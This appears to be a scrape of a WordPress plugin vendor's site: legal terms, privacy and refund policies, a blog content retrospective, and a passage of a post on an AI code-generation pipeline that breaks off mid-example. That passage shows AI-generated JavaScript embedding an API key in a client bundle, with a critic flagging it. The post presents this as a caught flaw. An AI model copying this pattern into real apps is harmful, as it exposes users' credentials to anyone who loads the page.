These Terms govern your use of the DesignSetGo Apps plugin, the designsetgo.dev website, and related services. By installing the plugin, signing up for a subscription, or starting a free trial, you agree to be bound by these Terms. 

Effective May 25, 2026.

## 1\. Parties

These Terms are a binding agreement between you (the "Customer," "you," or "your") and **DesignSetGo LLC**, an Arizona limited liability company ("DesignSetGo," "we," "us," or "our"). Together you and DesignSetGo are referred to as the "parties."

## 2\. Definitions

* **"Plugin"** means the DesignSetGo Apps WordPress plugin, including its runtime, bridge, in-admin UI, and all components distributed in the official zip, in all current and future versions.
* **"Services"** means the Plugin together with the designsetgo.dev website, the Riff in-admin AI builder, the @designsetgo/cli command line tool, the @designsetgo/app-client bridge client, the @designsetgo/astro adapter, license management, telemetry, updates, and documentation.
* **"Free Tier"** means the no-cost capabilities of the Plugin available without an active paid Subscription or Trial: one active app per WordPress site, runtime, manifest validator, HTML uploader, and read-only bridge methods (posts.list/get, pages.list/get, user.current, help.\*).
* **"Trial"** means the 14-day free trial of all Pro features that activates automatically when you complete Freemius opt-in inside the Plugin.
* **"Subscription"** means a paid annual or monthly subscription to the Pro or Studio tier as described on the [pricing page](/pricing/).
* **"Site"** means a single live WordPress installation reachable at a unique production domain. Local development environments (hostnames ending in `.test`, `.local`, or `localhost`) do not count toward the Site limit of your Subscription.
* **"App"** means a static HTML, CSS, and JavaScript bundle (with a `dsgo-app.json` manifest) that you install through the Plugin to run at `/apps/{slug}` on your Site.

## 3\. The Services

We grant you a non-exclusive, non-transferable, revocable, limited license to install and use the Plugin on Sites that are within your subscription's Site limit, solely for the purpose of operating Apps you own or are authorized to use.

The Plugin is licensed, not sold. Title to the Plugin and all intellectual property rights remain with DesignSetGo. Except for the open-source components listed in Section 14, the Plugin and all related Services are proprietary software distributed under this commercial license. Any GPL, MIT, or other open-source notices that appeared in pre-1.1.0 releases do not apply to the current Plugin runtime or to any Pro feature.

## 4\. Accounts and license keys

To purchase a Subscription you create an account through Freemius, our payment and license-management partner. You are responsible for keeping your account credentials confidential and for all activity that occurs under your account. Notify us promptly at [support@designsetgo.dev](mailto:support@designsetgo.dev) if you believe your credentials have been compromised.

A single license key may be activated on up to the number of Sites included in your tier (3 for Pro, unlimited for Studio). Activating the Plugin on a Site beyond your tier's limit is prohibited; we may deactivate excess activations or require you to upgrade.

## 5\. Subscriptions, billing, renewal

Subscriptions are sold on either an annual or monthly billing cycle, at the price listed on the pricing page at the time of purchase. Renewal pricing may differ from introductory or promotional pricing and is the price stated at the time of renewal.

**Auto-renewal.** Unless you cancel before the end of your current billing period, your Subscription will renew automatically for another period at the then-current renewal rate, charged to your payment method on file. You can cancel auto-renewal at any time in your Freemius account portal.

**Taxes.** Prices are exclusive of taxes. You are responsible for any sales tax, VAT, GST, or similar tax that applies to your purchase. Where required by law, Freemius collects these on our behalf at checkout.

**Failed payments.** If a renewal payment fails, we may attempt to recharge your payment method and notify you. If payment remains unresolved, your Subscription will lapse and your Plugin will revert to the Free Tier.

## 6\. Free Trial

When you complete the Freemius opt-in inside the Plugin, a 14-day Trial of all Pro features activates automatically. **No credit card or payment method is required to start the Trial.** Nothing charges automatically when the Trial ends. On the 15th day, the Pro-gated features deactivate and your installation reverts to the Free Tier. Apps you installed during the Trial remain installed; only the Pro runtime features (CLI deploy, Riff, scheduled jobs, webhooks, dynamic routes, abilities publishing, ai.prompt, write bridge methods) become unavailable until you activate a paid Subscription.

You may only start one Trial per Site. We reserve the right to revoke or shorten Trials we believe are being abused (for example, by creating multiple accounts to extend the Trial period).

## 7\. Cancellation and refunds

You may cancel your Subscription at any time in your Freemius account portal. Cancellation stops future auto-renewal; you retain access to Pro features for the remainder of your current billing period. Refund eligibility is described in our [Refund Policy](/refund/), which is incorporated into these Terms by reference.

## 8\. Acceptable use

You agree not to, and not to permit any third party to:

* Reverse engineer, decompile, disassemble, or otherwise attempt to derive the source code of the Plugin's closed-source components, except to the extent this restriction is prohibited by applicable law;
* Resell, sublicense, rent, lease, or otherwise commercially redistribute the Plugin or any Pro feature, except as expressly permitted by the Studio white-label terms;
* Remove, alter, or obscure any copyright, trademark, or other proprietary notice in or on the Plugin (the Studio white-label feature is the only permitted means of altering brand presentation, and is subject to its own terms);
* Use the Plugin to send unsolicited bulk email or to run, host, distribute, or facilitate any unlawful, harassing, defamatory, or infringing content;
* Use the Plugin to circumvent or attempt to circumvent any rate limits, license checks, or other technical protections;
* Use the Plugin in a manner that infringes any third party's intellectual property rights, privacy rights, or other legal rights;
* Install Apps that contain malware, cryptominers, spyware, or that exfiltrate end-user data without consent.

## 9\. AI features and provider keys

The Plugin's AI features (Riff, `dsgo.ai.prompt`, abilities consumption, and similar) route through the WordPress 7.0 Connectors API or, when configured, the optional DesignSetGo-Managed AI Connector. **We do not hold, store, or have access to your AI provider API keys** when you use the WordPress Connectors path (the dominant case). You are responsible for configuring your own AI provider account (such as Anthropic, OpenAI, or Google), for all charges that your AI provider invoices you, and for complying with that provider's terms of service.

Prompt content and AI responses are processed by your AI provider under your provider's terms. We do not log prompt content or AI responses on our infrastructure when you use the WordPress Connectors path. We may log aggregate counts (such as number of prompts run during a Trial) for billing, support, and product analytics, as described in our [Privacy Policy](/privacy/).

If and when the optional DesignSetGo-Managed AI Connector add-on becomes available, separate terms specific to that add-on (including a fair-use cap and an addendum regarding our handling of inference traffic) will apply.

## 10\. Customer-installed Apps

The Plugin is a runtime for static bundles you upload. **You are solely responsible for the content, behavior, security, and legal compliance of any App you install**, including any App generated for you by an AI tool. We do not review or audit the contents of your bundles, and we make no representation that an installed App is safe, accurate, or fit for any particular purpose. The Plugin's sandbox, content security policy, and permission system are defense-in-depth measures, not guarantees of safety for arbitrary third-party code.

## 11\. Updates and maintenance

We may release Plugin updates from time to time. Updates may add, change, or remove features and may require you to accept additional terms. We use commercially reasonable efforts to give advance notice of material backwards-incompatible changes, but we reserve the right to ship security fixes without notice. You are responsible for keeping the Plugin updated to a supported version.

## 12\. Service availability

The Services are provided on a commercially reasonable best-efforts basis. We do not guarantee uninterrupted access to the licensing server, the Freemius checkout, the designsetgo.dev website, or any third-party service the Plugin depends on. Brief outages, scheduled maintenance, and degradations of third-party services (including AI providers, WordPress.org, and CDN providers) are an expected part of normal operation. The Plugin's core runtime is designed to continue operating without a live connection to the licensing server.

## 13\. Warranty disclaimer

EXCEPT AS EXPRESSLY STATED IN THESE TERMS, THE SERVICES ARE PROVIDED "AS IS" AND "AS AVAILABLE," WITHOUT WARRANTY OF ANY KIND, WHETHER EXPRESS, IMPLIED, OR STATUTORY, INCLUDING (WITHOUT LIMITATION) THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND ANY WARRANTY ARISING FROM A COURSE OF DEALING OR USAGE OF TRADE. WE DO NOT WARRANT THAT THE SERVICES WILL BE UNINTERRUPTED, ERROR-FREE, OR FREE OF HARMFUL COMPONENTS, OR THAT ANY DEFECTS WILL BE CORRECTED. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF CERTAIN WARRANTIES, SO SOME OF THE ABOVE EXCLUSIONS MAY NOT APPLY TO YOU.

## 14\. Open-source components

The following components are distributed under permissive open-source licenses and are not covered by the proprietary-license terms above:

* **@designsetgo/app-client** (the bridge client library): MIT License.
* **@designsetgo/cli** (the command line tool): MIT License. The deploy capability is enforced server-side by the Plugin's Pro feature gate; the binary itself is openly published on npm.
* **@designsetgo/astro** (the Astro adapter): MIT License.
* **Public starter templates** at `github.com/DesignSetGo`: MIT License unless a specific template specifies otherwise.

The Plugin runtime itself (everything in the installed `designsetgo-apps/` directory) was previously distributed in part under GPL but, as of version 1.1.0, is licensed only under these commercial Terms. Any open-source license notices that appeared in pre-1.1.0 distributions do not extend to the current Plugin or to any Pro feature.

## 15\. Limitation of liability

TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, IN NO EVENT WILL DESIGNSETGO OR ITS OFFICERS, EMPLOYEES, AGENTS, OR LICENSORS BE LIABLE FOR ANY INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL, PUNITIVE, OR EXEMPLARY DAMAGES, INCLUDING (WITHOUT LIMITATION) DAMAGES FOR LOST PROFITS, LOST REVENUE, LOST DATA, LOSS OF GOODWILL, OR BUSINESS INTERRUPTION, ARISING OUT OF OR RELATING TO THESE TERMS OR YOUR USE OF THE SERVICES, REGARDLESS OF THE LEGAL THEORY (CONTRACT, TORT, STRICT LIABILITY, OR OTHERWISE) AND EVEN IF DESIGNSETGO HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.

DESIGNSETGO'S TOTAL AGGREGATE LIABILITY ARISING OUT OF OR RELATING TO THESE TERMS WILL NOT EXCEED THE GREATER OF (A) THE AMOUNTS YOU ACTUALLY PAID TO DESIGNSETGO FOR THE SERVICES IN THE TWELVE (12) MONTHS IMMEDIATELY PRECEDING THE EVENT GIVING RISE TO THE CLAIM, OR (B) ONE HUNDRED U.S. DOLLARS ($100). SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF CERTAIN DAMAGES, SO SOME OF THE ABOVE LIMITATIONS MAY NOT APPLY TO YOU.

## 16\. Indemnification

You will defend, indemnify, and hold harmless DesignSetGo and its officers, employees, agents, and licensors from and against any and all claims, damages, liabilities, costs, and expenses (including reasonable attorneys' fees) arising out of or relating to (a) your use of the Services in violation of these Terms or applicable law, (b) any App you install or distribute, (c) your AI provider account, the content of prompts you submit, or the content of responses you receive, or (d) your violation of any third party's intellectual property, privacy, or other rights.

## 17\. Termination

You may stop using the Services at any time by canceling your Subscription and uninstalling the Plugin. We may suspend or terminate your access to the Services, with or without notice, if you breach these Terms (including the Acceptable Use rules in Section 8), if your payment fails, or if we are required to do so by law or by a regulator. On termination, all licenses granted to you under these Terms end immediately, except that the Free Tier license described in Section 3 continues to apply to any installation that does not depend on Pro features.

Sections that by their nature should survive termination (including Sections 10, 13, 14, 15, 16, 17, 19, 20, 21, and 22) will survive.

## 18\. Modifications to these Terms

We may update these Terms from time to time. If we make material changes, we will give you reasonable notice through the Plugin's admin UI, by email to the address associated with your Freemius account, or by posting a notice on designsetgo.dev. Continued use of the Services after the effective date of the updated Terms constitutes acceptance of those Terms. If you do not agree to a material change, your sole remedy is to cancel your Subscription and stop using the Services.

## 19\. Governing law and venue

These Terms are governed by, and construed in accordance with, the laws of the State of Arizona, USA, without regard to its conflict-of-laws principles. The parties agree that the state and federal courts located in Maricopa County, Arizona will have exclusive jurisdiction over any dispute arising out of or relating to these Terms, and the parties consent to the personal jurisdiction of those courts. The United Nations Convention on Contracts for the International Sale of Goods does not apply to these Terms.

## 20\. Informal dispute resolution

Before filing a claim, the parties will attempt in good faith to resolve any dispute through informal negotiation. You agree to first contact us at [support@designsetgo.dev](mailto:support@designsetgo.dev) with a written description of the dispute. If the dispute is not resolved within thirty (30) days of that notice, either party may pursue formal proceedings as described in Section 19.

## 21\. Miscellaneous

**Entire agreement.** These Terms, together with the Refund Policy and the Privacy Policy, constitute the entire agreement between you and DesignSetGo regarding the Services and supersede any prior or contemporaneous agreements.

**Severability.** If any provision of these Terms is held unenforceable, that provision will be enforced to the maximum extent permitted and the remaining provisions will continue in full force.

**No waiver.** Our failure to enforce any provision of these Terms is not a waiver of our right to enforce it later.

**Assignment.** You may not assign or transfer these Terms or any rights under them without our prior written consent. We may assign these Terms in connection with a merger, acquisition, or sale of all or substantially all of our assets. Any prohibited assignment is void.

**Force majeure.** Neither party is liable for any failure or delay in performance caused by events beyond its reasonable control (including natural disasters, war, terrorism, riots, embargoes, acts of civil or military authorities, fire, floods, accidents, network or power failures, and pandemics).

**Notices.** Legal notices to DesignSetGo must be sent by email to [legal@designsetgo.dev](mailto:legal@designsetgo.dev) with a copy by certified mail to the address listed on our contact page. Notices to you may be sent to the email address associated with your Freemius account.

**Relationship.** The parties are independent contractors. These Terms do not create any agency, partnership, joint venture, or employment relationship.

**U.S. government end users.** The Services are "commercial computer software" as defined in 48 C.F.R. 2.101 and are licensed to U.S. government end users only as commercial items and with only those rights granted to all other end users under these Terms.

**Export.** You agree to comply with all applicable U.S. and foreign export-control laws and not to use the Services in any country subject to a U.S. trade embargo.

## 22\. Contact

DesignSetGo LLC  
Arizona, USA  
[support@designsetgo.dev](mailto:support@designsetgo.dev) (general support)  
[legal@designsetgo.dev](mailto:legal@designsetgo.dev) (legal notices)

## Privacy Policy

URL: https://designsetgo.dev/privacy/

Legal

# Privacy policy.

What DesignSetGo collects, what we do not collect, who handles your payments and AI prompts, and your rights over your data. 

Effective May 25, 2026.

## 1\. Who we are

DesignSetGo LLC ("DesignSetGo," "we," "us," "our") is the controller of the personal data described in this Privacy Policy. We are an Arizona limited liability company. You can reach our privacy team at [privacy@designsetgo.dev](mailto:privacy@designsetgo.dev).

## 2\. Scope

This Privacy Policy covers data we collect through:

* The DesignSetGo Apps plugin you install on your WordPress site;
* The designsetgo.dev marketing and documentation website;
* The Riff in-admin AI builder;
* License management, telemetry, and update channels;
* Email correspondence you initiate with our team.

It does **not** cover data you collect from your own site's visitors using Apps you install. You are the controller of that data. We are a processor only for the narrow telemetry and license-management purposes described below.

## 3\. What we collect

### Account and license data (collected by Freemius on our behalf)

When you purchase a Subscription, start a Trial, or opt in to Freemius from the plugin's admin UI, our payment and license-management partner [Freemius](https://freemius.com/privacy/) collects:

* Your name and email address;
* Billing address and tax-relevant information required by your jurisdiction;
* The Site URL where the plugin is activated, the plugin version, the WordPress version, the PHP version, and the active site language;
* License key, activation timestamps, and Site count for license enforcement.

**We do not see your full payment card details.** Payments are processed by Freemius's PCI-DSS-compliant payment processor; only a tokenized reference is shared with us.

### Telemetry from the installed plugin

The plugin sends limited operational telemetry to our infrastructure to support billing, product analytics, and trial nudges:

* Aggregate counts of app-generation operations (for example, the number of apps generated during a Trial);
* Aggregate counts of `dsgo.ai.prompt` calls (the count only; we do not log the prompts or AI responses);
* Trial state transitions (started, day-7 nudge fired, expired);
* Plugin error reports when you explicitly submit them.

Telemetry payloads do not include the contents of your posts, your visitors' data, the source of the Apps you install, or AI prompt or response content.

### Website analytics (designsetgo.dev)

The designsetgo.dev website uses Google Analytics 4 to measure visit counts, traffic sources, page paths, and high-level click events on calls-to-action (such as "Install free plugin" or "Start 14-day Pro trial"). Google Analytics sets cookies on your browser. We do not enable Google Signals, advertising features, or remarketing audiences.

Cloudflare provides our content delivery network. Cloudflare may receive your IP address and TLS handshake metadata for routing and DDoS protection. See [Cloudflare's privacy policy](https://www.cloudflare.com/privacypolicy/).

### Communications

If you email us at `support@`, `privacy@`, or `legal@designsetgo.dev`, we receive your email address, any contents you send, and (depending on your email client) metadata such as the timestamp and your IP address at the time of sending. We retain support correspondence as long as needed to resolve your inquiry and to comply with our records-retention obligations.

## 4\. What we do **not** collect

* **AI prompt or response content.** When you use `dsgo.ai.prompt` or Riff with the WordPress Connectors path (the dominant case), prompt content is sent directly from your WordPress site to your configured AI provider (such as Anthropic, OpenAI, or Google) under your provider's terms. None of that content passes through our infrastructure.
* **Your AI provider API keys.** Your provider keys live in your WordPress Connectors configuration. We do not have access to them.
* **Your site's visitor data.** The plugin does not exfiltrate, transmit, or store data about visitors to your WordPress site. Apps you install may collect their own visitor data; that is governed by the privacy policy you publish on your site, not this one.
* **The contents of your WordPress posts, pages, users, or commerce data** that Apps read through the bridge. The bridge runs server-side on your site; we never receive that content.
* **Payment card numbers, CVVs, or full card data.** Freemius's payment processor handles those.

## 5\. Legal bases (for users in the EU, UK, and similar jurisdictions)

We process your personal data on the following legal bases:

* **Performance of a contract:** processing required to provide the Services to you (license enforcement, account management, subscription billing).
* **Legitimate interests:** measuring website usage and product analytics, sending operational service emails, preventing fraud and abuse. We balance these interests against your rights and offer opt-outs where required.
* **Consent:** non-essential website cookies and any optional marketing email you opt in to (we do not currently send marketing email).
* **Legal obligation:** tax records, sanctions screening, and other obligations imposed by law.

## 6\. Who we share data with

We share personal data only with the following categories of recipients, and only as needed:

* **Freemius** (payment processing, license management, subscription billing, trial state).
* **Google** (Google Analytics 4 on the designsetgo.dev website only).
* **Cloudflare** (CDN, DDoS protection for the designsetgo.dev website).
* **GoDaddy Managed WordPress** (the hosting provider for designsetgo.dev).
* **Service providers** we engage to support our operations (such as email infrastructure for transactional and support email), bound by written confidentiality and data-processing agreements.
* **Successors** in a merger, acquisition, sale of assets, or similar corporate transaction, in which case we will give notice before personal data becomes subject to a different privacy policy.
* **Authorities** when required by law, subpoena, or other valid legal process.

We do not sell your personal data. We do not share your personal data for cross-context behavioral advertising.

## 7\. International transfers

We are based in the United States. Our service providers (including Freemius, Google, and Cloudflare) may process data in countries other than your own. Where we transfer personal data from the European Economic Area, the United Kingdom, or Switzerland, we rely on Standard Contractual Clauses or other lawful transfer mechanisms.

## 8\. Retention

We retain personal data only as long as needed for the purposes for which it was collected:

* Account and license data: for the life of your account plus 7 years for tax and audit records.
* Telemetry data: rolling 24-month window (aggregated and de-identified beyond that point).
* Website analytics: as configured in our Google Analytics 4 property (currently 14 months for event-level data; aggregated reports persist indefinitely).
* Support correspondence: 3 years after the case is closed, or longer if required by law.

## 9\. Your rights

Depending on where you live, you may have the right to:

* Access the personal data we hold about you;
* Correct inaccurate personal data;
* Delete your personal data (subject to legal retention obligations);
* Restrict or object to certain processing;
* Receive a portable copy of your personal data;
* Withdraw consent at any time (without affecting prior processing);
* Lodge a complaint with your data protection authority.

To exercise any of these rights, email [privacy@designsetgo.dev](mailto:privacy@designsetgo.dev). We respond within 30 days. We may ask you to verify your identity before fulfilling a request.

**California residents.** The California Consumer Privacy Act (CCPA) gives you specific rights described above and prohibits us from discriminating against you for exercising them. We do not "sell" or "share" personal information as defined by the CCPA.

## 10\. Cookies on designsetgo.dev

The designsetgo.dev website uses the following cookies:

* **Essential** session cookies set by WordPress and Cloudflare to keep the site working.
* **Analytics** cookies set by Google Analytics 4 to measure visit counts and traffic sources.

The plugin itself sets no cookies on your visitors' browsers, except as needed by an App you install (which is your responsibility to disclose).

## 11\. Security

We use commercially reasonable technical and organizational measures to protect personal data, including TLS encryption in transit, encrypted database backups, principle-of-least-privilege access controls, and routine review of our service providers' security posture. No system is perfectly secure; we will notify affected users without undue delay if we become aware of a personal-data breach that creates a real risk of harm.

## 12\. Children

The Services are not directed to children under 13 (or 16 in the EU/UK). We do not knowingly collect personal data from children. If you believe a child has provided personal data to us, contact [privacy@designsetgo.dev](mailto:privacy@designsetgo.dev) and we will delete it.

## 13\. Changes to this Privacy Policy

We may update this Privacy Policy from time to time. When we make material changes, we will give you reasonable notice through the plugin's admin UI, by email, or by posting a notice on designsetgo.dev before the changes take effect.

## 14\. Contact

DesignSetGo LLC  
Arizona, USA  
[privacy@designsetgo.dev](mailto:privacy@designsetgo.dev)

## Refund Policy

URL: https://designsetgo.dev/refund/

Legal

# Refund policy. 

14-day money-back guarantee, no questions asked. We want you confident in your purchase, not stuck with a subscription that did not work for you. 

Effective May 25, 2026.

## 1\. 14-day money-back guarantee

We back every paid Subscription with a 14-day money-back guarantee. If for any reason you are not satisfied with DesignSetGo Apps, request a refund within 14 days of your purchase or renewal and we will refund the full amount you paid for that billing period.

The guarantee applies to both annual and monthly Subscriptions and to both the Pro and Studio tiers. It applies to the initial purchase and to every renewal.

## 2\. The free trial does not require a refund

Our 14-day Pro trial is cardless. **You are not charged when you start the Trial.** Nothing is automatically billed when the Trial ends. On the 15th day, Pro features simply deactivate and your installation reverts to the Free Tier. There is no payment to refund.

The 14-day money-back guarantee in Section 1 only applies once you have actually paid for a Subscription.

## 3\. How to request a refund

The fastest way to get a refund is through your Freemius account portal:

1. Sign in at [users.freemius.com](https://users.freemius.com/) with the email address you used at checkout.
2. Open the DesignSetGo Apps subscription and choose _Request a refund_.
3. Freemius processes the refund directly to your original payment method.

If you cannot access your Freemius account, email [support@designsetgo.dev](mailto:support@designsetgo.dev) from the address you used at checkout with the order ID (visible on your purchase receipt) and we will process the refund manually.

## 4\. How quickly the refund processes

We approve refund requests received within the 14-day window the same business day, usually within a few hours. Once approved, your payment processor (typically Stripe via Freemius) returns the funds to your original payment method. Most banks credit the account within 3 to 10 business days; some can take longer. We have no control over your bank's posting time.

## 5\. What happens to your account after a refund

When a refund is issued:

* Your Subscription is canceled immediately.
* Your license is deactivated on all Sites where it was installed.
* Apps you installed during the Subscription remain installed on your Site, but Pro-gated runtime features (CLI deploy, Riff, scheduled jobs, webhook endpoints, dynamic routes, abilities publishing, ai.prompt, write bridge methods) become unavailable.
* Your Site reverts to the Free Tier: one active app per site, runtime, HTML uploader, and read-only bridge methods.

The Free Tier continues to work without a Subscription. We do not delete, lock, or disable the apps you built.

## 6\. Renewals: 14 days from each renewal

The 14-day window resets at each renewal. If your annual Subscription auto-renews and you decide within 14 days of that renewal that you no longer want it, you are eligible for a full refund of the renewed period. The same applies to monthly Subscriptions.

If you want to prevent the next renewal entirely, cancel auto-renewal in your Freemius account portal before the renewal date. Cancellation alone does not trigger a refund; you keep access to Pro features for the remainder of the current billing period.

## 7\. What is not eligible

The 14-day money-back guarantee does not apply to:

* Requests received more than 14 days after the purchase or renewal date;
* Add-on charges (such as the DesignSetGo-Managed AI Connector when it becomes available) that have separate refund terms disclosed at the time of purchase;
* Charges from third parties that DesignSetGo did not collect (for example, AI inference costs you incurred with Anthropic, OpenAI, or your own AI provider during your Subscription; we do not charge for inference and cannot refund what we did not collect);
* Cases where we have terminated your account for a material breach of our [Terms of Service](/terms/) (for example, license-key abuse, reselling Pro features without a Studio license, or running unlawful content through the bridge).

## 8\. Chargebacks

If you are unsatisfied with your purchase, please email us before initiating a chargeback with your bank or card issuer. Almost every chargeback could have been resolved by a refund request. We honor legitimate chargebacks, but a chargeback filed without first contacting us may result in your account being suspended for the duration of the dispute and may forfeit future eligibility for the money-back guarantee.

## 9\. Changes to this Refund Policy

We may update this Refund Policy from time to time. The Refund Policy that applies to a purchase is the one in effect on the date of that purchase. Changes do not retroactively reduce your refund rights for Subscriptions you already bought.

## 10\. Contact

DesignSetGo LLC  
Arizona, USA  
[support@designsetgo.dev](mailto:support@designsetgo.dev)

## Blog

### One month of daily posts: what shipped, what worked, what is next

URL: https://designsetgo.dev/blog/one-month-of-daily-posts-retro/
Published: 2026-06-23 · Nealey

Thirty posts in thirty days. The last one is the one you are reading. Time to look at what happened.

The premise was that the existing [weekly content calendar](CONTENT-CALENDAR.md) was leaving real gaps: persona breadth, long-tail search intent, plugin-feature surfaces we had not explained yet, and a small founder/retro thread. The [30-day daily plan](https://github.com/DesignSetGo/designsetgo-apps/blob/main/blog/CONTENT-CALENDAR-30-DAY.md) was the experiment. One post a day, every day, May 24 through June 22.

Here is the honest retro.

#### The numbers

I am going to keep these directional rather than precise, because I want to write about *what to do next* more than *what we hit on the dashboard*. Traffic is up. Newsletter signups are up. Three of the posts (the ones I will name below) drove most of both.

The shape of the numbers across the month: a slow build for the first week, an inflection point around post 10 or 11 (when the link-graph started compounding because every new post linked to several earlier ones), and a plateau in the last week where the day-over-day numbers stopped surprising me. The compounding effect is the part I will keep believing in for the next 30 days.

Plugin installs are also up, but the attribution is hard. The blog is one of several surfaces driving installs; isolating its contribution would take attribution tooling I have not set up. The directional sense: the blog is doing real work in the funnel; the magnitude is in the range I would have hoped for, not better or worse.

#### Three that landed

**[The plugin pile-on (June 7)](/blog/the-plugin-pile-on-five-plugins-one-app/).** The Sunday-read slot, framed as “five plugins one DesignSetGo app can replace.” This one got the most LinkedIn engagement from non-developers in the audience: agencies and consultants who saw their own plugin lists in the description. The lesson: persona P3 reads strategy posts and shares them, more than I expected. I had been thinking of strategy posts as P2-facing.

**[If it breaks, your site is fine: the safety pillar with receipts (June 14)](/blog/if-it-breaks-your-site-is-fine/).** This one got picked up on Hacker News (modest, not viral). The three concrete scenarios with mechanisms is the shape that travels. The “marketing claim with receipts” framing seems to be a format that the HN/skeptical-developer audience rewards.

**[The four boring parts of WordPress your vibe-coded app secretly needs (May 25)](/blog/the-four-boring-parts-of-wordpress/).** A Monday morning concept post that pivoted on a single framing (auth, content modeling, user accounts, admin UI). It drove the most direct “I get it now” replies. Several of the replies turned into newsletter signups. I think this post will end up in the long tail as one of the highest-referrer posts, because the framing is reusable for other channels (social cuts, podcast intros, intro decks).

#### Three that did not

**[DesignSetGo and WPML: how multilingual sites read through the bridge (June 15)](/blog/designsetgo-and-wpml-multilingual/).** A useful post for the specific audience that needs it. Almost no one is in that audience. I knew this going in; it was the right post to write for the support burden it removes, not for the traffic it drives. In retrospect, this should have been documentation, not a blog post.

**[The CSP allowlist, explained (June 8)](/blog/csp-allowlist-explained/).** Same shape as WPML: useful, technical, narrow audience. The right people read it. Not many people read it. Same retrospective: this is documentation that ended up on the blog because the writing voice was easier to draft than the docs voice.

**[Build a DesignSetGo app from inside Claude.ai: the Connector walkthrough (June 16)](/blog/build-a-designsetgo-app-from-claude-ai/).** I expected this one to land harder. It did not. My read: the audience that already uses Connectors in Claude.ai is small, and the audience that does not is not motivated by the “you can do it without leaving the chat” framing. The tutorial is correct and the path works; the framing did not find the audience. Worth trying a different angle next month.

#### Three surprises

**Comparison posts overperformed.** The Thursday slot (CFF, Gravity, Bubble) was where I had the lowest expectations and the highest engagement. People search comparisons. The comparison posts have a much longer tail than the tutorials. I will weight Thursdays more aggressively next month.

**The agency-focused posts underperformed.** The freelancer-pricing checklist, the consultant’s three apps, the in-admin dashboard tutorial. I expected these to compound through agency networks. They did not, much. My hypothesis: the agency audience does not consume blog posts the way I do. They consume Slack messages and Twitter threads. The blog posts are right; the distribution is wrong. Next month I will treat agency-focused posts as social-first, with the blog post as the durable backup, rather than the other way around.

**The vertical posts underperformed in raw traffic but overperformed in conversion.** The mortgage calculator post and the TDEE post brought less traffic than the strategy posts, but the visitors who arrived from them were dramatically more likely to install the plugin. The long-tail search intent (“wordpress mortgage calculator,” “wordpress tdee calculator”) is converting at much higher rates than the broader strategic queries. The next 30 days should have more of these, not fewer.

#### Three things I would do differently

**Cut the WPML post.** Or, more honestly, make it documentation. Not every “we should explain this” need is a blog post. The blog is a channel; the docs are a reference. I conflated them for that post.

**Pair tutorials with screen recordings.** Several of the tutorials would have been twice as effective with a 30-second screen recording of the result. I shipped them without because the recording is its own production cost. Next month I will record three or four short clips upfront and use them across the posts that benefit.

**Plan the founder posts a week ahead.** The Friday and Sunday founder posts are higher-quality when I have had a few days to think about them. The ones I drafted the morning of were noticeably weaker. Easy fix; I will keep a Friday-and-Sunday backlog two weeks deep.

#### What I am not doing differently

A few things I considered changing and decided to keep:

**Daily cadence.** It works. The compounding from the cross-link graph is real. The audience expectation, after a month, is “there will be a post tomorrow.” Switching back to weekly would lose that.

**Long-form. No 300-word posts.** The pressure to write shorter, more frequent posts is real and several smart people have made the case for it. My read: the long-form posts compound. The short-form posts get a spike and disappear. I will keep the 800-2000 word targets.

**Founder voice on Fridays and Sundays.** This is the part of the schedule that keeps the blog from sounding like a docs site. I will keep the rotation. The agency-pricing-checklist post (June 19) is a good example of why: the same content in third-person voice would not have hit as hard.

#### The next 30 days in two paragraphs

I am going to keep the daily cadence and the weekly rotation pattern (Monday concept → Tuesday P2 tutorial → Wednesday P1 tutorial → Thursday comparison → Friday founder → Saturday vertical → Sunday long read), with adjustments based on the retro: more comparison posts (Thursdays compounding), more vertical posts (highest conversion), fewer agency-focused posts on the blog (move them to social-first), and a documentation pass on the technical-narrow posts so they live in `docs/` instead of `blog/` going forward.

Topical focus for the next 30: the WooCommerce vertical (we have 12+ example bundles in [examples/](/examples/) that have not been written about); a second pass at the search-intent slots (this month’s mortgage and TDEE worked; I want a pricing-page-for-X, a quiz-for-X, and a booking-widget-for-X each in the next month); and the founder thread continuing to explore the agency pricing model since the [June 19 post](/blog/pricing-checklist-for-freelancers/) raised more questions than it answered. The new 30-day calendar will be in the repo within a week.

#### The shorter version

Daily cadence works. The cross-link graph compounds. Comparison posts and vertical posts are the highest-leverage formats. Agency-focused posts belong on social, not on the blog. Pair tutorials with screen recordings. Next 30 days, with adjustments.

Thanks for reading any of these. If you have something you want me to write about in the next month, send it.

#### Further reading

- [The 30-day daily content calendar](https://github.com/DesignSetGo/designsetgo-apps/blob/main/blog/CONTENT-CALENDAR-30-DAY.md): the plan this month executed against.

- [SOCIAL-STRATEGY.md](SOCIAL-STRATEGY.md): the social channel that pairs with the blog.

- [CONTENT-CALENDAR.md](CONTENT-CALENDAR.md): the weekly strategic calendar that runs alongside the daily one.

### Inside the harness: what critic and autofix actually fix

URL: https://designsetgo.dev/blog/inside-the-harness-critic-and-autofix/
Published: 2026-06-22 · Nealey

[The May 8 harness post](/blog/the-harness-what-makes-ai-generation-trustworthy/) gave the architectural overview. Generator, critic, autofix, validator. Six classes deep. The argument was that the combination is the moat: any one of those pieces is reproducible, but the combination is what makes AI-generated WordPress apps reliably ship-quality on the first try.

That post made the case at the level of “here are the pieces.” This post is the receipts. Five real failure modes I have pulled from harness traces over the last six weeks, what the critic flagged, and what the autofix changed.

If you are thinking about whether the harness is doing real work or whether the generator alone would suffice, this is the post that should settle it for you. The generator alone would not.

#### Failure mode 1: hardcoded API key in the bundle

**The setup:** A user prompts the harness for “a chatbot that uses GPT-4 to answer questions about my site content.” The generator writes a working chatbot. It includes:

```
const apiKey = 'sk-proj-aBcDeFgHiJkLmNoPqRsTuVwXyZ012345678901234567890123456789';
const response = await fetch('https://api.openai.com/v1/chat/completions', {
  headers: { 'Authorization': `Bearer ${apiKey}` },
  body: JSON.stringify({ model: 'gpt-4', messages: [...] }),
});
```

A real API key. It even looks plausible. The generator has a “make the code runnable” bias and inferred (incorrectly) that the user would want a hardcoded key.

**Critic flag:**

```
[critic] CRIT_SECRETS_IN_BUNDLE
File: app.js, line 7
A string matching the OpenAI API key pattern appears in source.
